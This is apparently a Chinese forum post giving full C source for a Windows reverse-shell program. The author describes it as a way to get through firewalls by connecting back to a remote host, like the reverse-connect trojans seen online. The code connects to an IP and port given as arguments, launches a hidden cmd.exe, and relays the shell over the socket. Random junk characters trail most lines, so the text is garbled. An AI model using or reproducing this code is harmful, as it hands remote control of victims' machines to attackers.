这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +$5^+C\6A
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/* ============================== C.<4D1}P
Rebound port in Windows NT bAp`lmFI
By wind,2006/7 Je,8{J |e
===============================*/ ;rgsPVbVf
#include *en{pR'
#include fF%r$`2
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#pragma comment(lib,"wsock32.lib") o@. !Z8
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void OutputShell(); e-mlvi^-
SOCKET sClient; fp0Va!T(V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZV;yXLx|
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void main(int argc,char **argv) ^iNR(cwgX
{ Yo:&\a K[
WSADATA stWsaData; tPsU7bFk
int nRet; > R=YF*t
SOCKADDR_IN stSaiClient,stSaiServer; 7[LC*nrr
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if(argc != 3) X!Q"p$D4(
{ CR<l"~X
printf("Useage:\n\rRebound DestIP DestPort\n"); 2dfA}i>k
return; h%%'{^>~
} >nX'RE|F
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WSAStartup(MAKEWORD(2,2),&stWsaData); <FEO6YP
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q9Q4F
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stSaiClient.sin_family = AF_INET; <vs.Ucxx
stSaiClient.sin_port = htons(0); F <(Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1a<~Rmcil
{ 2 O%UT?R
printf("Bind Socket Failed!\n"); 6k2~j j1d
return; #7{a~-S
} w]_a0{Uh
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stSaiServer.sin_family = AF_INET; zw?6E8$h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C$8=HM3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Sc&_6}K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r_G`#Z_5F
{ !SnpesTn
printf("Connect Error!"); tBrVg<]t
return; *d(Dk*(
} 9V~yK?
OutputShell(); OR3TRa XD
} A.n1|Q#
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void OutputShell() y}A-o_u@cD
{ Liofv4![
char szBuff[1024]; f&:g{K
SECURITY_ATTRIBUTES stSecurityAttributes; qpZ".
OSVERSIONINFO stOsversionInfo; 5gGr|d|(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j.o)!SA
STARTUPINFO stStartupInfo; 9E5B.qlw$l
char *szShell; FE`J.aw^X
PROCESS_INFORMATION stProcessInformation; fw<'ygd
unsigned long lBytesRead; ^#+9v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XIU2l}g
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &A~ 1Q#4
stSecurityAttributes.lpSecurityDescriptor = 0; n}2}4^
stSecurityAttributes.bInheritHandle = TRUE; Rzp-Q5@MY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k:fRk<C
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]BA8[2=m
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @Z)&3ss
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fI6F};I5}T
stStartupInfo.wShowWindow = SW_HIDE; *N7\d9y
stStartupInfo.hStdInput = hReadPipe; "xWC49
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; di"*K*~y
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GetVersionEx(&stOsversionInfo); @uc%]V<:k
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switch(stOsversionInfo.dwPlatformId) d/e9LK
{ 8 _>R 'u[
case 1: 5QlJX
szShell = "command.com"; *{uu_O
break; )[A}h'J)
default: Xr@0RFdr[
szShell = "cmd.exe"; jk~<si
break; Q9(
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} kY|<1Ht
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (q)W<GYP
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send(sClient,szMsg,77,0); cB|](gWS~
while(1) 6uD Nqq
{ s;>jy/o0 s
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kM.zX|_
if(lBytesRead) /Z^+K
{ Q~jUZ-qN
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o^Ms(?K%t
send(sClient,szBuff,lBytesRead,0); 44!bwXz8
} W)KV"A3C
else \hg12],#:@
{ xk#/J]j
lBytesRead=recv(sClient,szBuff,1024,0); kc}e},k
if(lBytesRead<=0) break; T7[ItLZ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4]Krx
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} C@xh$(y
} )F:hv[iv
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return; o_?YYw-:
}